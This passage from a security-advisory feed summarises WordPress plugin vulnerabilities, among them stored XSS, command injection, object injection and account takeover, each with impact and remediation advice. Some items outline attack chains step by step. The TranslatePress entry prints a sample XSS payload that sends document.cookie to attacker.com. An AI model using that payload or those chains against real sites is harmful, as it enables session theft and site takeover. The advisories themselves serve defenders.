<p>Successful exploitation allows unauthenticated attackers to execute arbitrary JavaScript in the browsers of users who visit the affected pages. This can lead to session hijacking, unauthorized administrative actions, or the redirection of users to malicious external domains. As this plugin is used for custom registration and profile management, the impact is heightened due to the potential for attackers to gain elevated privileges or exfiltrate sensitive user data.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Update the User Registration PRO plugin to the latest version, ensuring the patch for CVE-2026-87111 is applied immediately.</li>
<li>Implement or review Web Application Firewall (WAF) rules to detect and block abnormal or malformed HTTP Referer headers containing script tags or JavaScript event handlers.</li>
<li>Perform a security audit of the plugin configuration and logs to identify any unauthorized registration attempts or anomalous AJAX activity.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>wordpress</category><category>xss</category><category>cve-2026-87111</category><category>vulnerability</category></item><item><title>Authentication Bypass in Vulnity Security Plugin for WordPress</title><link>https://feed.craftedsignal.io/briefs/2026-10-vulnity-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 08:26:05 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-vulnity-auth-bypass/</guid><description>An authentication bypass vulnerability (CVE-2026-75903) in the Vulnity Security plugin for WordPress allows unauthenticated attackers to retrieve credentials and gain administrative access via misconfigured Nginx path restrictions.</description><content:encoded><![CDATA[<p>The Vulnity Security plugin for WordPress (versions 1.4.3 and earlier) is susceptible to an authentication bypass vulnerability. The flaw exists on Nginx-based web server installations where the plugin generates a configuration snippet to secure the delegated-login pairing credential file. Due to an incorrect directory path in the server configuration, the credential file remains accessible to unauthorized users. An attacker can exploit this misconfiguration to retrieve the sensitive credentials, forge signed REST API requests, and authenticate as an administrative user. This vulnerability impacts the security of any WordPress installation utilizing the plugin's delegated-login feature on Nginx, potentially leading to a full site takeover.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows an unauthenticated remote attacker to gain administrative access to the affected WordPress installation. This enables the attacker to modify site content, install malicious plugins, exfiltrate database information, or pivot further into the underlying hosting infrastructure. As the vulnerability resides in a commonly used security-focused plugin, it poses a significant risk to the integrity and confidentiality of targeted WordPress deployments.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Immediately update the Vulnity Security plugin to a version addressing CVE-2026-75903.</li>
<li>Audit Nginx configuration files on WordPress servers for any directives granting read access to the directory containing the plugin's delegated-login pairing credential file.</li>
<li>Implement access control restrictions in the Nginx configuration to deny all external requests to the identified credential storage path.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>wordpress</category><category>authentication-bypass</category><category>cve-2026-75903</category></item><item><title>Stored Cross-Site Scripting in WPConsent WordPress Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-wpconsent-xss/</link><pubDate>Fri, 16 Oct 2026 08:25:56 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-wpconsent-xss/</guid><description>The WPConsent WordPress plugin up to version 1.1.9 is vulnerable to stored Cross-Site Scripting (XSS) via mXSS, allowing unauthenticated attackers to execute arbitrary scripts in a user's browser session.</description><content:encoded><![CDATA[<p>The WPConsent - Cookie Banner &amp; Cookie Consent for Privacy Compliance (GDPR / CCPA / EU Compliance Cookie Notice) plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) in all versions up to, and including, 1.1.9. The vulnerability arises due to insufficient input sanitization and output escaping when the &quot;Script Blocking&quot; feature is active. An unauthenticated attacker can exploit this via mutation XSS (mXSS), specifically by leveraging the plugin's Simple HTML DOM Parser to manipulate how content is rendered. This flaw allows an attacker to inject arbitrary web scripts into WordPress pages, which then execute when an unsuspecting user visits the affected page. The exploit requires chaining two specific comment submissions and using a debug parameter to verify injection offsets, posing a significant risk to site administrators and users.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker enables or identifies a target WordPress site using the vulnerable WPConsent plugin with the &quot;Script Blocking&quot; feature enabled.</li>
<li>Attacker performs an unauthenticated request to the site with the parameter <code>wpconsent_debug=1</code> to retrieve the deterministic <code>___noise___</code> restoration key and determine the current injection offset.</li>
<li>Attacker submits the first comment containing malicious event-handler syntax (e.g., <code>onmouseover</code>) embedded inside a permitted <code>&lt;code&gt;</code> HTML element.</li>
<li>Attacker submits a second, coordinated comment containing the required <code>___noise___</code> restoration key placed within an allowed <code>&lt;abbr title=&quot;&quot;&gt;</code> attribute.</li>
<li>The plugin's Simple HTML DOM Parser processes these comments, causing the stored payloads to mutate and break out of the intended HTML tag structure.</li>
<li>The injected script is successfully stored on the server side as part of the comment section of a post or page.</li>
<li>A legitimate user or administrator visits the page containing the malicious comments.</li>
<li>The browser renders the mutated HTML, triggering the execution of the attacker's script in the context of the user's browser session.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows unauthenticated attackers to execute arbitrary JavaScript in the context of a victim's browser session. This can lead to the theft of session cookies, administrative account takeover, unauthorized modification of site content, or the redirection of users to malicious external domains. As this plugin is designed for privacy compliance, an attacker could potentially weaponize it to target users who are already providing consent, leading to significant privacy and security compromises across the affected WordPress installation.</p>
<h2 id="recommendation">Recommendation</h2>
<ol>
<li>Upgrade the WPConsent plugin to the latest version immediately to remediate the insufficient sanitization of comment content.</li>
<li>Disable the &quot;Script Blocking&quot; feature within the WPConsent plugin settings until a patch is applied if immediate updating is not possible.</li>
<li>Monitor web server access logs for anomalous requests containing the <code>wpconsent_debug=1</code> parameter, as this is a precursor for the attack chain.</li>
<li>Review comment moderation logs for suspicious activity, particularly multiple coordinated comments from the same source.</li>
</ol>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>xss</category><category>wordpress</category><category>web-application</category><category>cms</category></item><item><title>Arbitrary File Upload Vulnerability in YaySMTP WordPress Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-cve-2026-92553/</link><pubDate>Fri, 16 Oct 2026 08:25:47 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-cve-2026-92553/</guid><description>The YaySMTP WordPress plugin (&lt;= 2.7.7) is vulnerable to arbitrary file upload due to insufficient validation in the putFile function, allowing authenticated users to achieve remote code execution.</description><content:encoded><![CDATA[<p>The YaySMTP - WP Mail SMTP with Email Logs, Tracking &amp; Reports plugin for WordPress (versions up to and including 2.7.7) contains a critical arbitrary file upload vulnerability within its putFile function. The flaw stems from improper file type validation, as the plugin fails to utilize an allow-list, perform MIME-type checking, or sanitize executable file extensions via the existing sanitize_file_name() function. While the developer attempted to implement a security guard via a .htaccess file generated by writeGuards(), this mechanism is ineffective on nginx servers and Apache configurations where AllowOverride is set to None. Consequently, an authenticated attacker with subscriber-level access or higher can upload arbitrary files, including web shells, to the WordPress environment, resulting in full remote code execution (RCE). The vulnerability is tracked as CVE-2026-92553.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows authenticated users with minimal privileges to gain complete control over the affected WordPress installation. This impact is significant for environments running on nginx or restricted Apache configurations, as the intended security measures are bypassed. Unauthorized code execution can lead to data exfiltration, defacement, or persistent access to the underlying web server infrastructure.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Immediately update the YaySMTP plugin to the latest version that patches CVE-2026-92553.</li>
<li>Audit web server configurations to ensure that file upload directories are prevented from executing scripts by default.</li>
<li>Monitor WordPress authentication logs for suspicious subscriber-level activity or unusual file creation patterns within the plugin's upload directories.</li>
<li>Configure security policies to disallow direct execution of uploaded content in directories managed by plugins.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Authenticated Command Injection in WP Photo Album Plus</title><link>https://feed.craftedsignal.io/briefs/2026-10-wp-photo-album-plus-rce/</link><pubDate>Fri, 16 Oct 2026 08:25:39 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-wp-photo-album-plus-rce/</guid><description>Authenticated users with specific plugin privileges can achieve remote code execution in WP Photo Album Plus via command injection in the update-photo AJAX action.</description><content:encoded><![CDATA[<p>The WP Photo Album Plus plugin for WordPress contains an authenticated command injection vulnerability (CVE-2026-92115) affecting all versions up to and including 9.3.02.002. The flaw exists within the wppa_image_magick_a() function, which fails to apply proper shell escaping when processing the 'value' parameter of the 'update-photo' AJAX action. Instead of using escapeshellarg(), the application concatenates attacker-supplied input directly into an ImageMagick command string executed via the exec() function. Furthermore, the wppa_decode() utility restores percent-encoded shell metacharacters, allowing payloads to break out of the intended argument context. Any user assigned the wppa_upload capability, which can be granted to lower-privileged roles by site administrators, can exploit this flaw to run OS commands as the web-server process. This impact is contingent on the server having ImageMagick installed and active.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows authenticated attackers to gain remote code execution on the underlying server. Depending on server configuration, this may lead to full site compromise, lateral movement within the network, or unauthorized data access. The breadth of potential attackers is increased because the 'wppa_upload' capability is not restricted solely to WordPress administrators.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Update the WP Photo Album Plus plugin to a version released after 9.3.02.002 immediately to remediate CVE-2026-92115.</li>
<li>Review WordPress user roles and capabilities to identify accounts possessing the 'wppa_upload' privilege and revoke access for non-essential users.</li>
<li>Monitor web server logs for HTTP POST requests to the 'update-photo' AJAX action containing unusual characters such as semicolons, pipes, or ampersands in the 'value' parameter.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Stored XSS in CP Multi View Events Calendar Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-cve-2026-110701/</link><pubDate>Fri, 16 Oct 2026 08:25:30 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-cve-2026-110701/</guid><description>The CP Multi View Events Calendar plugin for WordPress contains a Stored Cross-Site Scripting vulnerability allowing unauthenticated attackers to inject arbitrary web scripts via the CalendarTitle parameter.</description><content:encoded><![CDATA[<p>The CP Multi View Events Calendar plugin for WordPress, in all versions up to and including 1.4.42, is susceptible to a Stored Cross-Site Scripting (XSS) vulnerability identified as CVE-2026-110701. The vulnerability exists due to insufficient input sanitization and output escaping within the CalendarTitle parameter. Attackers can leverage this flaw to inject malicious scripts into calendar views. For successful exploitation, an administrator must have explicitly enabled the 'Allow edition in frontend?' setting, which inadvertently exposes an unauthenticated add endpoint and a publicly accessible nonce to the internet. If exploited, arbitrary JavaScript will execute in the browser of any user viewing the compromised calendar page, potentially leading to session hijacking or unauthorized administrative actions.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows unauthenticated attackers to execute arbitrary JavaScript in the context of victim browsers. This can lead to the theft of session cookies, administrative account takeover, or the redirection of users to malicious websites. Organizations utilizing this plugin with front-end editing enabled are at high risk of site-wide compromise if an attacker targets high-privileged users.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Update the CP Multi View Events Calendar plugin to the latest version available beyond 1.4.42 to address the lack of input sanitization. In the interim, disable the 'Allow edition in frontend?' feature in the plugin settings to prevent access to the vulnerable endpoint and mitigate the risk of unauthenticated script injection.</p>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Stored Cross-Site Scripting in HivePress WordPress Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-hivepress-xss/</link><pubDate>Fri, 16 Oct 2026 08:25:23 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-hivepress-xss/</guid><description>An unauthenticated Stored Cross-Site Scripting (XSS) vulnerability in HivePress plugin versions 1.7.32 and earlier allows attackers to inject malicious scripts into attribute fields.</description><content:encoded><![CDATA[<p>The HivePress - Business Directory, Listings &amp; Classified Ads Plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) in all versions up to and including 1.7.32. The vulnerability stems from insufficient input sanitization and output escaping when processing custom user attribute slugs (e.g., hp_custom_link). An unauthenticated attacker can exploit this by injecting arbitrary web scripts into user attribute values. Successful exploitation depends on an administrator having configured a custom user attribute where the display_format template includes the %value% token within an href, src, or style attribute context. When an unsuspecting user or administrator views a page where this attribute is rendered, the injected script executes within the victim's session.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability allows unauthenticated attackers to execute arbitrary JavaScript in the context of a user's browser session. If an administrator views an injected page, the attacker could potentially perform unauthorized administrative actions, capture session cookies, or redirect users to malicious domains. This affects any WordPress installation utilizing the HivePress plugin for business directories or classified ads with custom user attributes enabled.</p>
<h2 id="recommendation">Recommendation</h2>
<ol>
<li>Upgrade the HivePress plugin to the latest version immediately to remediate the sanitization flaw (CVE-2026-109193).</li>
<li>Audit current HivePress custom user attribute configurations to identify if the %value% token is used within href, src, or style attributes.</li>
<li>Implement a strict Content Security Policy (CSP) to mitigate the impact of potential XSS attacks by restricting the sources from which scripts can be loaded and executed.</li>
<li>Use web application firewalls (WAF) to inspect incoming traffic for suspicious script tags or JavaScript event handlers injected into POST requests targeting attribute update endpoints.</li>
</ol>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>wordpress</category><category>xss</category><category>web-application</category></item><item><title>Stored Cross-Site Scripting in TranslatePress WordPress Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-translatepress-xss/</link><pubDate>Fri, 16 Oct 2026 08:25:15 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-translatepress-xss/</guid><description>The TranslatePress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the comment parameter, allowing unauthenticated attackers to execute arbitrary web scripts.</description><content:encoded><![CDATA[<p>The TranslatePress - Translate Multilingual sites with AI Translation plugin for WordPress is affected by a Stored Cross-Site Scripting (XSS) vulnerability, tracked as CVE-2026-107768. All versions up to and including 3.3.7 are susceptible to this flaw, which stems from insufficient input sanitization and output escaping within the comment parameter. An unauthenticated attacker can leverage this vulnerability to inject arbitrary JavaScript into comments. This malicious script subsequently executes in the browser of any user - including administrators - who views the page where the injected comment is displayed. The vulnerability is highly relevant to defenders as it requires the site to have a secondary language configured and allow unmoderated comment submissions, which aligns with common configurations for multilingual WordPress deployments. Successful exploitation could lead to administrative account takeover via session hijacking or the redirection of site visitors to malicious domains.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker identifies a WordPress site running a vulnerable version of TranslatePress (&lt;= 3.3.7).</li>
<li>Attacker verifies the target site has a secondary language enabled and allows unmoderated comment submissions.</li>
<li>Attacker crafts a malicious payload containing JavaScript, such as '&lt;script&gt;fetch('https://attacker.com/steal?c='+document.cookie)&lt;/script&gt;'.</li>
<li>Attacker submits the payload through the standard WordPress comment form on a public-facing post.</li>
<li>The TranslatePress plugin processes the comment, failing to sanitize the malicious script within the comment parameter.</li>
<li>The WordPress database stores the unsanitized script as part of the comment content.</li>
<li>A legitimate user, such as an administrator, visits the affected page where the comment is rendered.</li>
<li>The user's browser executes the stored JavaScript, leading to potential session theft or unauthorized actions on behalf of the user.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of CVE-2026-107768 allows for the execution of arbitrary JavaScript in the context of a victim's session. Depending on the target's role, this can result in the full compromise of user accounts, theft of sensitive session cookies, or the defacement of the affected website. Because the payload is stored persistently, it may affect any user visiting the page, increasing the overall risk to the organization's user base and administrative environment.</p>
<h2 id="recommendation">Recommendation</h2>
<ol>
<li>Update the TranslatePress plugin to the latest available version (beyond 3.3.7) immediately to remediate the lack of input sanitization.</li>
<li>Monitor web server logs for HTTP POST requests directed at comment submission endpoints that contain script tags or suspicious JavaScript patterns.</li>
<li>Enforce comment moderation policies to prevent unauthenticated users from posting content directly to public-facing pages without verification.</li>
<li>Implement a strict Content Security Policy (CSP) to restrict the execution of unauthorized scripts within the browser context.</li>
</ol>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>CVE-2026-104932: PHP Object Injection in Search Regex WordPress Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-search-regex-poi/</link><pubDate>Fri, 16 Oct 2026 08:25:05 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-search-regex-poi/</guid><description>The Search Regex WordPress plugin version 3.5 is vulnerable to PHP Object Injection, allowing authenticated users with subscriber access to achieve remote code execution via a POP chain.</description><content:encoded><![CDATA[<p>CVE-2026-104932 is a critical security vulnerability found in the Search Regex plugin for WordPress, specifically affecting version 3.5. The vulnerability resides within the 'replace_all' function, which performs insecure deserialization of untrusted input provided by a user. Because the plugin does not adequately validate or sanitize the data before deserializing it, an authenticated attacker with at least subscriber-level permissions can inject a malicious PHP object. The presence of a property-oriented programming (POP) chain within the application context enables the attacker to leverage this injection to execute arbitrary code on the underlying server. Given that subscriber-level accounts are often easily obtainable via registration or compromise, this vulnerability presents a significant risk for privilege escalation and full site compromise.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of CVE-2026-104932 results in remote code execution (RCE) on the WordPress server. This allows attackers to gain full control over the compromised site, potentially leading to data exfiltration, the deployment of backdoors, or lateral movement into the hosting infrastructure. The vulnerability affects all WordPress installations utilizing version 3.5 of the Search Regex plugin.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Prioritize the immediate update of the Search Regex plugin. If an update addressing this vulnerability is not available, disable the plugin until a patch is applied.</p>
<ul>
<li>Update the Search Regex plugin to the latest version that remediates CVE-2026-104932 immediately.</li>
<li>Review web server logs for suspicious POST requests targeting the Search Regex plugin functionality, specifically monitoring for unusual serialized data strings in application parameters.</li>
<li>Audit user accounts to identify and disable unauthorized or suspicious subscriber-level accounts that could be used as an initial access vector for this vulnerability.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-vulnerability</category><category>wordpress</category><category>php-injection</category></item><item><title>PHP Object Injection in Sunshine Photo Cart WordPress Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-sunshine-photo-cart-injection/</link><pubDate>Fri, 16 Oct 2026 08:24:57 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-sunshine-photo-cart-injection/</guid><description>The Sunshine Photo Cart plugin for WordPress is vulnerable to unauthenticated PHP object injection in versions up to 3.7.4, which can be leveraged for RCE if secondary plugins provide a viable POP chain.</description><content:encoded><![CDATA[<p>The Sunshine Photo Cart - Client Photo Gallery &amp; Photo Proofing for Photographers plugin for WordPress is vulnerable to PHP Object Injection (CVE-2026-104730) in all versions up to and including 3.7.4. The vulnerability arises from the insecure deserialization of untrusted input. While the plugin itself does not contain a Property-Oriented Programming (POP) chain required for full exploitation, the vulnerability allows unauthenticated attackers to supply a malicious serialized object via the public favorites page.</p>
<p>If the WordPress environment contains other plugins or themes that include a POP chain, this vulnerability can be successfully leveraged to achieve remote code execution, perform arbitrary file deletions, or retrieve sensitive data. Attackers can trigger the deserialization process by interacting with specific image viewing endpoints associated with non-viewable or private galleries. This vulnerability represents a significant risk for WordPress sites hosting multiple plugins where cross-plugin POP chain exploitation is possible.</p>
<h2 id="impact">Impact</h2>
<p>The impact of this vulnerability is contingent upon the existence of secondary POP chains within the target's WordPress installation. If such a chain exists, the vulnerability allows for unauthenticated remote code execution, unauthorized access to sensitive data, and potential system compromise. Given the prevalence of plugin-heavy WordPress environments, many installations are at risk of being exploited if a viable gadget chain is discovered in commonly deployed software.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Immediately update the Sunshine Photo Cart - Client Photo Gallery &amp; Photo Proofing for Photographers plugin to the latest available version (beyond 3.7.4) to address the insecure deserialization logic.</li>
<li>Audit installed WordPress plugins and themes for known POP chain gadgets, particularly those known to be utilized in object injection attacks.</li>
<li>Deploy web application firewall (WAF) rules to block POST requests containing serialized PHP object strings (e.g., 'O:[0-9]+:&quot;') directed at public-facing plugin endpoints until the site can be patched.</li>
<li>Monitor web server logs for high volumes of 403 or 500 errors originating from unauthenticated users accessing private or non-viewable gallery images, which may indicate exploitation attempts.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-application</category><category>wordpress</category><category>injection</category></item><item><title>Theme My Login Privilege Escalation via Account Takeover</title><link>https://feed.craftedsignal.io/briefs/2026-10-theme-my-login-privilege-escalation/</link><pubDate>Fri, 16 Oct 2026 08:24:49 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-theme-my-login-privilege-escalation/</guid><description>An unauthenticated account takeover vulnerability in the Theme My Login WordPress plugin allows attackers to change arbitrary user passwords due to improper identity validation.</description><content:encoded><![CDATA[<p>The Theme My Login plugin for WordPress, in versions up to and including 7.2.1, contains a critical security vulnerability (CVE-2026-89079) that enables account takeover. The flaw resides in the plugin's password update mechanism, which fails to adequately verify the identity of the user requesting the change. On multi-site WordPress installations with specific configurations, this weakness allows an unauthenticated attacker to supply target user identifiers and successfully reset their passwords without prior authentication. Given the nature of this vulnerability, it poses a high risk of privilege escalation, potentially granting attackers administrative access to the affected WordPress instances. Defenders should treat this as a high-priority update, as successful exploitation results in complete compromise of affected accounts.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of CVE-2026-89079 allows unauthenticated remote attackers to gain unauthorized access to any user account on vulnerable multi-site WordPress installations. This can lead to the total compromise of site administration, unauthorized data access, and potential persistence if an attacker creates or promotes additional accounts. The scope is limited to WordPress installations utilizing the Theme My Login plugin in specific configurations.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Immediately update the Theme My Login plugin to the latest patched version available.</li>
<li>Audit WordPress user activity logs for suspicious password change events, specifically looking for password resets performed for administrative accounts by unknown or unauthenticated sessions.</li>
<li>Review all user accounts for unauthorized changes to security credentials.</li>
<li>Disable the affected plugin functionality on multi-site configurations until the software has been updated.</li>
</ul>
]]></content:encoded><category domain="severity">critical</category><category domain="type">advisory</category><category>wordpress</category><category>plugin</category><category>privilege-escalation</category><category>web-application</category></item><item><title>Stored Cross-Site Scripting in Schema &amp; Structured Data for WP &amp; AMP</title><link>https://feed.craftedsignal.io/briefs/2026-10-cve-2026-96570/</link><pubDate>Fri, 16 Oct 2026 06:29:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-cve-2026-96570/</guid><description>The Schema &amp; Structured Data for WP &amp; AMP plugin is vulnerable to unauthenticated stored XSS via the 'saswp_review_text' parameter due to insufficient input sanitization and an exposed, ineffective nonce.</description><content:encoded><![CDATA[<p>The Schema &amp; Structured Data for WP &amp; AMP plugin for WordPress (all versions up to and including 1.67) contains a critical security flaw involving insufficient input sanitization and output escaping. Specifically, the 'saswp_review_text' parameter fails to properly filter user-supplied content, allowing unauthenticated attackers to perform stored Cross-Site Scripting (XSS) attacks. The security mechanism intended to prevent unauthorized submissions - a nonce - is rendered ineffective because it is publicly printed within the HTML of the [saswp-reviews-form] shortcode. An attacker can scrape this nonce from the front-end of a site and use it to successfully submit malicious script payloads, which will subsequently execute in the browser of any user or administrator who views the compromised review content.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows unauthenticated attackers to execute arbitrary JavaScript in the context of a victim's session. This could lead to account takeover, unauthorized actions performed on behalf of authenticated users, or the redirection of site visitors to malicious domains. The vulnerability affects any WordPress site utilizing the Schema &amp; Structured Data for WP &amp; AMP plugin version 1.67 or earlier.</p>
<h2 id="recommendation">Recommendation</h2>
<ol>
<li>Upgrade to the latest version of the Schema &amp; Structured Data for WP &amp; AMP plugin that addresses the sanitization and nonce-exposure vulnerabilities immediately.</li>
<li>Audit existing reviews for injected script tags using server-side logs or database inspection if the site was publicly accessible during the period of vulnerability.</li>
<li>Deploy web application firewall (WAF) rules to detect and block suspicious HTTP POST requests containing script tags or common XSS payloads directed at the review submission endpoint.</li>
</ol>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Stored DOM-Based Cross-Site Scripting in Opti-Behavior Plugin for WordPress</title><link>https://feed.craftedsignal.io/briefs/2026-10-opti-behavior-xss/</link><pubDate>Fri, 16 Oct 2026 06:28:51 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-opti-behavior-xss/</guid><description>An unauthenticated stored DOM-based XSS vulnerability (CVE-2026-95686) in the Opti-Behavior plugin for WordPress allows attackers to inject malicious scripts via a publicly accessible nonce-protected ingest endpoint.</description><content:encoded><![CDATA[<p>The Opti-Behavior plugin for WordPress is vulnerable to Stored DOM-based Cross-Site Scripting (XSS) due to improper input sanitization and output escaping. Affecting all versions up to and including 1.9.2.1, the vulnerability stems from the 'targetUrl' parameter within the plugin's data ingestion process. The plugin utilizes a nonce for authentication, but this nonce is publicly exposed to every anonymous visitor via the 'optiBehaviorHeatmapConfig.nonce' variable on tracked pages. Consequently, an unauthenticated attacker can retrieve this nonce and perform unauthorized write operations to the ingest endpoint, injecting arbitrary JavaScript payloads. When these injected pages are accessed by other users, including administrators, the malicious script executes within their browser context, potentially leading to session hijacking, credential theft, or unauthorized actions performed on behalf of the victim.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows unauthenticated attackers to execute arbitrary JavaScript in the context of any user who views an infected page. This can result in session theft, unauthorized modifications to site content, or administrative account takeover if an administrator visits the compromised page. The vulnerability affects all users of the Opti-Behavior plugin running version 1.9.2.1 or earlier, which is widely used for website analytics and heatmap generation.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Immediately update the Opti-Behavior plugin to the latest version as provided by the vendor.</li>
<li>Audit logs for suspicious POST requests to plugin-specific ingest endpoints containing script tags or event handlers in the 'targetUrl' parameter.</li>
<li>Implement strict Content Security Policy (CSP) headers to mitigate the impact of XSS attacks by restricting the sources from which scripts can be executed.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Stored Cross-Site Scripting in Hide My WP Ghost WordPress Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-wp-ghost-xss/</link><pubDate>Fri, 16 Oct 2026 06:28:44 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-wp-ghost-xss/</guid><description>Unauthenticated attackers can exploit insufficient input sanitization in the Hide My WP Ghost plugin to inject persistent malicious scripts into WordPress pages.</description><content:encoded><![CDATA[<p>The Hide My WP Ghost (Security &amp; Firewall) plugin for WordPress is vulnerable to a Stored Cross-Site Scripting (XSS) vulnerability. The flaw exists within the 'replaceHeadersAndTags' function, which fails to properly sanitize user-supplied input or escape output before rendering it on the page. This vulnerability affects all versions of the plugin up to, and including, 7.0.12. An unauthenticated attacker can leverage this weakness to inject arbitrary web scripts into the site's content. When an unsuspecting user navigates to the compromised page or interacts with the injected link, the malicious script executes within the user's browser context. This can lead to session hijacking, unauthorized actions performed on behalf of the user, or redirection to malicious domains. Organizations utilizing this plugin should prioritize updating to the latest secure version once available.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability allows unauthenticated attackers to execute arbitrary JavaScript in the context of other users, including site administrators. Successful exploitation can result in complete account takeover, sensitive data exfiltration from the WordPress dashboard, or the injection of malicious content designed to infect site visitors. This poses a significant risk to the integrity and confidentiality of the WordPress installation and its user base.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Audit WordPress site access logs for suspicious HTTP POST requests directed toward plugin-specific endpoints.</li>
<li>Implement a Web Application Firewall (WAF) to block requests containing common XSS payloads, such as script tags or event handlers, targeting known vulnerable plugin patterns.</li>
<li>Upgrade the Hide My WP Ghost plugin to a version later than 7.0.12 immediately upon vendor release.</li>
<li>Enforce Content Security Policy (CSP) headers to restrict the sources from which scripts can be executed, mitigating the impact of successful XSS injections.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>PilotPress Plugin for WordPress Privilege Escalation via Account Takeover</title><link>https://feed.craftedsignal.io/briefs/2026-10-pilotpress-privilege-escalation/</link><pubDate>Fri, 16 Oct 2026 06:28:37 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-pilotpress-privilege-escalation/</guid><description>The PilotPress WordPress plugin (&lt;= 2.0.43) contains a logic flaw in the update_cc_details() AJAX handler that allows an authenticated attacker to trigger an administrative account takeover.</description><content:encoded><![CDATA[<p>The PilotPress plugin for WordPress, in versions up to and including 2.0.43, is vulnerable to a privilege escalation attack that leads to full administrative account takeover. The flaw exists within the update_cc_details() AJAX handler. When an attacker-supplied username is submitted, the plugin forwards the request to the ONTRAPORT service via an API call before verifying if the username already exists locally within the WordPress database. If a collision is detected, the plugin fails to roll back the remote change on the ONTRAPORT service, resulting in a misaligned state where the remote contact is linked to an existing WordPress administrator account. This vulnerability allows an authenticated attacker with at least Subscriber-level access to synchronize their own password with an administrator account, ultimately resulting in the issuance of an administrative authentication cookie by the WordPress core.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker authenticates to the target WordPress site with a valid Subscriber-level account and obtains a valid Customer Center nonce.</li>
<li>Attacker invokes the <code>update_cc_details()</code> AJAX handler, providing a <code>username</code> parameter that matches an existing WordPress Administrator login.</li>
<li>The plugin executes <code>api_call('update_cc_details', ...)</code> to the ONTRAPORT service, successfully renaming the remote contact.</li>
<li>The plugin subsequently identifies a local collision via <code>username_exists()</code> but fails to revert the change made in step 3.</li>
<li>Attacker attempts to log in using the targeted Administrator's username and the attacker's own password.</li>
<li>The <code>user_login()</code> hook triggers <code>wp_authenticate</code>, validating credentials against ONTRAPORT.</li>
<li>The system retrieves the local administrator's user row via <code>get_user_by('login', $username)</code>.</li>
